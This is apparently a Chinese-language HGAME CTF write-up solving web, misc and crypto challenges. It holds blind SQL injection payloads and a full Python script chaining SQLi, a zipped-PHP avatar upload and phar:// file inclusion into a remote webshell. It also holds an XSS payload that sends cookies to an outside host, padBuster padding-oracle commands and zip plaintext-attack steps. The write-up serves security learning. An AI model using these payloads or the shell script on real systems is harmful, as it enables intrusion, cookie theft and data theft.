web

神奇的MD5 [200]

首先通过 /.login.php.swp 恢复出源码

<?php
session_start();
error_reporting(0);

    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {
        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];

        if (($username == $password ) or ($username == $code)  or ($password == $code)) { 
            echo "Your input can't be the same";
        } 
        else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
            echo "Good"; 

            header('Location: admin.php');  
            exit();
        } else {
            echo "<pre> Invalid password</pre>";
        }
    }

// ...[OMITTED]...

要求提交三个内容不同而 MD5 哈希值相同的字符串进行登录,由于对参数进行强制类型转换且使用全等进行判断,无法通过一般的数组参数、0e 开头 MD5 等方法绕过

只能通过 MD5 碰撞的方法,使用 upbit/clone-fastcollthereal1024/python-md5-collision 生成一些文件

选三个文件将其内容编码后用于登录,成功后跳转至 admin.php,是一个 webshell

通过 ls / 命令可以看到 /flag,但直接 cat /flag 会提示无法获取

发现在 admin.php 中对输入的命令有如下过滤:

$cmd = str_replace("flag",'none',$cmd);

执行 cat /fla? 即可读取 flag

Flag: hgame{a1c83b66cc504d583c09ea6c20c0dabc}

sqli-1 [150]

SQL 布尔盲注,payload 如:

?code={0}&id=1 and (ascii(substr((select f14444444g from f1l1l1l1g limit 0, 1), {1}, 1))) = {2}

Flag: hgame{sql1_1s_iNterest1ng}

sqli-2 [200]

SQL 延时盲注,payload 如:

?code={0}&id=1 and if((select ascii(substr((select fL4444Ag from F11111114G limit 0, 1), {1}, 1)) = {2}), sleep(3), 0)

Flag: hgame{sqli_1s_s0_s0_s0_s0_interesting}

基础渗透 [400]

一个包含以下功能的 web 应用:

  • 用户注册、登录、上传头像、更改密码
  • 留言查看、新建、删除

首先注册账号,登录后尝试一下各种功能,发现显示不同的页面是根据 /index.php?action=user 中的 action 参数来切换的,直接访问 user.php 可以返回一部分 HTML,猜测在 index.php 中是通过 require 或 include 相应的文件来显示不同的页面,存在本地文件包含漏洞

通过 php 伪协议逐渐读取源码(/index.php?action=php://filter/read=convert.base64-encode/resource=index

  • login.php
  • register.php
  • index.php
  • user.php
  • message.php
  • messages_api.php
  • functions.php
  • config.php

进行源码审计,在 functions.php 中可以找到一处注入点:

// ...[OMITTED]...
function delete_message($message_id)
{
    $user_id = $_SESSION['user_id'];
    if ($_POST['token'] === $_SESSION['token']) {
        if ($_SESSION['groups'] == 0) {
            $sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
        } elseif ($_SESSION['groups'] == 1) {
            $sql_query = "delete from `messages` where `message_id`=$message_id";
        }
        sql_query($sql_query);

    }
}
// ...[OMITTED]...

这是删除留言的函数,可以进行延时盲注,payload 如 token={0}&message_id={1} and if((ascii(substr((select avatar from users where user_id=39), {2}, 1))={3}), sleep(3), 0)#

通过如上注入可以得到本用户头像的文件名(15位的随机字符串),文件为 ./img/avatar/*.png;在管理页面(index.php?action=user)可以上传新头像,相关实现:

// functions.php
// ...[OMITTED]...
function upload_avatar()
{
    $type = $_FILES['file']['type'];
    $user_id = $_SESSION['user_id'];
    if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
        $avatar = get_avatar($user_id);
        if ($avatar == null) {
            $name = rand_filename();
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
            $sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
            sql_query($sql_query);
        } else {
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

        }
    }
}
// ...[OMITTED]...

可以上传含有恶意代码的 php 文件来进行进一步渗透,而要使上传的头像(.png 文件)被解析为 php 执行,需要用到 index.php 中的本地文件包含漏洞(require $page .'.php';

由于强制在参数后添加 “.php”,而头像文件以 “.png” 结尾,可以将 php 文件添加至 zip 压缩包上传,然后通过 php 伪协议使其被包含(/index.php?action=phar://img/avatar/ed7c750dd0a5ed8.png/test

更多 php 伪协议的利用,请见此处

完整脚本如下:

import requests
import json
import re
import string
from time import time, sleep
import os

CHARS = string.ascii_lowercase + string.digits
tokenPattern = re.compile(r"<input\s{1}type='hidden'\s{1}value='([^']*)'\s{1}id='token'>")
outputPattern = re.compile(r'</ul>\n</div>([\s\S]*)<script\s{1}type')
baseUrl = 'http://[REDACTED]/'
urlForLogin = baseUrl + 'login.php'
urlForToken = baseUrl + 'index.php?action=user'
urlForAddMessage = baseUrl + 'messages_api.php?action=add'
urlForGetNewMessage = baseUrl + 'messages_api.php?action=get_new&start=1'
urlForInjection = baseUrl + 'messages_api.php?action=delete'
urlForUpload = baseUrl + 'change_info.php?action=uploadavatar'
urlForExec = baseUrl + 'index.php?action=phar://img/avatar/{0}.png/test'

payloadTemplate = "<?php\n$row = exec('{command}',$output,$error);\nwhile(list(,$row)=each($output)){\necho $row,'\\n';\n}\nif($error){\necho 'Error: $error\\n';\n}"

r = requests.Session()

response = r.get(urlForLogin)
token = tokenPattern.findall(response.text)[0]
response = r.post(urlForLogin, data={'username': 'ddmin', 'password': '1234567', 'token': token})

if os.path.exists('temp') == False:
    os.system('mkdir temp')
if os.path.exists('temp/avatarFileName'):
    with open('temp/avatarFileName', 'r') as f:
        avatarFileName = f.readline()
else:
    response = r.get(urlForToken)
    token = tokenPattern.findall(response.text)[0]
    response = r.post(urlForAddMessage, data={'new_message': 'this is a test', 'token': token})
    response = r.get(urlForGetNewMessage)
    message = json.loads(response.text)['content'][0]
    messageId = message['message_id']

    injectionResult = []
    injectionPayloadTemplate = "{0} and if((ascii(substr((select `avatar` from `users` where `user_id`=39), {1}, 1))={2}), sleep(3), 0)#"
    for i in range(1, 16):
        for char in CHARS:
            response = r.get(urlForToken)
            token = tokenPattern.findall(response.text)[0]
            payload = injectionPayloadTemplate.format(messageId, str(i), ord(char))
            timeStart = time()
            response = r.post(urlForInjection, data={'message_id': payload, 'token': token})
            sec = time() - timeStart
            print("Count: {0}, Delay: {1}".format(str(i), str(sec)))
            sleep(0.1)
            if sec > 2:
                injectionResult.append(char)
                break
    avatarFileName = ''.join(injectionResult)
    with open('temp/avatarFileName', 'w') as f:
        f.write(avatarFileName)

urlForExec = urlForExec.format(avatarFileName)

while True:
    command = input('$ ')
    if command == 'exit':
        exit(0)
    payload = payloadTemplate.replace('{command}', command)
    response = r.get(urlForToken)
    token = tokenPattern.findall(response.text)[0]
    with open('temp/test.php', 'w') as f:
        f.write(payload)
    os.system('rm -f temp/test.zip.png')
    os.system('zip -j temp/test.zip.png temp/test.php')
    response = r.post(urlForUpload, files={'file': ('test.zip.png', open('temp/test.zip.png', 'rb'), 'image/png')}, data={'token': token})
    response = r.get(urlForExec)
    output = outputPattern.findall(response.text)[0].replace('\\n', '\n')
    print(output)

成功 getshell 后,可以通过 find / -name flag 找到 flag 文件 /usr/lib/flag/flag,由于权限设置,只有 flag 用户才能读取

查看目录可见存在另一个文件 get_flag,执行返回提示,可以通过 “get_flag flag” 来读取 flag

Flag: hgame{e4616b38e22d1a22cedc53a90cfaa87f75ccbfe565399857a390950a58a94e68}

BabyXss [150]

简单的 XSS 题,payload 如下:

<scr<script>ipt src='https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js'></scr<script>ipt>
<scr<script>ipt>$.get('http://[REDACTED]/?cookie=' + document.cookie);</scr<script>ipt>

打到 bot 的 cookie 即含有 flag

Flag: hgame{Xss_1s_funny!}

misc

时至今日,你仍然是我的光芒 [150]

题目给出一个 mp4,使用 DeEgger Embedder 提取出隐写的 jpg 文件,然后根据提示从 rockyou 字典中提取出 sec 开头的密码,进行 outguess 爆破,最后得到 flag

Flag: hgame{Whataya_Want_From_Me}

至少像那雪一样 [150]

首先用 binwalk 分析给出的 jpg 文件,可见包含 zip

$ binwalk origin.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
885851        0xD845B         Zip archive data, encrypted at least v2.0 to extract, compressed size: 75, uncompressed size: 240, name: flag.txt
886204        0xD85BC         End of Zip archive

将 jpg 与 zip 分离,查看 zip 内容可见含有两个加密的文件,其中之一是大小和分离出的 jpg 相同的 “至少像那雪一样.jpg”,猜测需进行 zip 明文攻击

经过尝试后确定应使用 WinRAR 进行压缩(压缩后大小、 CRC32 值相同),将分离出的 jpg 改名后压缩,使用 ARCHPR 进行明文攻击

得到密钥为 [7ba938c7, b21e305a, bc2989df],将 flag.txt 解密,得到一个由空格(b'\x20')和制表符(b'\x09')组成的文件,将空格替换为 1,制表符替换为 0,然后转换为字符串即可得到 flag

Flag: hgame{At_Lea5t_L1ke_tHat_sn0w}

旧时记忆 [100]

Punch Card

IBM-029 Punch Card

在线模拟器

Flag: hgame{0LD_DAY5%M3MORY}

听听音乐? [150]

音乐末尾有一段摩斯电码,解码可得 “FLAG:1T_JU5T_4_EASY_WAV”

Flag: hgame{1T_JU5T_4_EASY_WAV}

crypto

P4ndd!n@! [250]

CBC Padding Oracle 攻击,使用 padBuster 即可解出明文

$ perl padBuster.pl "http://[REDACTED]/padding?text=lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" "lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" 16 -encoding 0 -error "Something Error\!"
# ...[OMITTED]...
[+] Decrypted value (ASCII): If you R Aris, I will give you flag.
# ...[OMITTED]...

再加上 -plaintext 来得到 Aris 的密文

$ perl padBuster.pl "http://[REDACTED]/padding?text=lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" "lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" 16 -encoding 0 -error "Something Error\!" -plaintext "Aris"
# ...[OMITTED]...
[+] Encrypted value is: mZDzeEddTWDut6HJddGpxwAAAAAAAAAAAAAAAAAAAAA%3D
# ...[OMITTED]...

提交请求即可返回 flag

Flag: hgame{Now_U_know_0racle_pADding!@}

babyRSA [250]

简单的 RSA,通过如下脚本即可解出 flag

from fractions import gcd
import binascii

def exGCD(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = exGCD(b % a, a)
        return (g, x - (b // a) * y, y)

def invMod(a, m):
    g, x, y = exGCD(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def invalidPubExponent(c, p, q, e):
    totientN = (p-1)*(q-1)
    n = p*q
    GCD = gcd(e, totientN)
    if(GCD == 1):
        return "[X] This method only applies for invalid Public Exponents."
    d = invMod(e//GCD,totientN)
    c = pow(c,d,n)
    import sympy
    plaintext = sympy.root(c,GCD)
    return plaintext

e = 12
p = 58380004430307803367806996460773123603790305789098384488952056206615768274527
q = 81859526975720060649380098193671612801200505029127076539457680155487669622867
c = 206087215323690202467878926681944491769659156726458690815919286163630886447291570510196171585626143608988384615185921752409380788006476576337410136447460

plaintext = invalidPubExponent(c, p, q, e)

print(binascii.a2b_hex('%x' % plaintext))

Flag: hgame{xxxxxxx}

basicmath [150]

二次剩余求解,通过 WolframAlpha 即可解出 m 的值

Flag: hgame{easy_Crypto!}

Categories: CTF

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注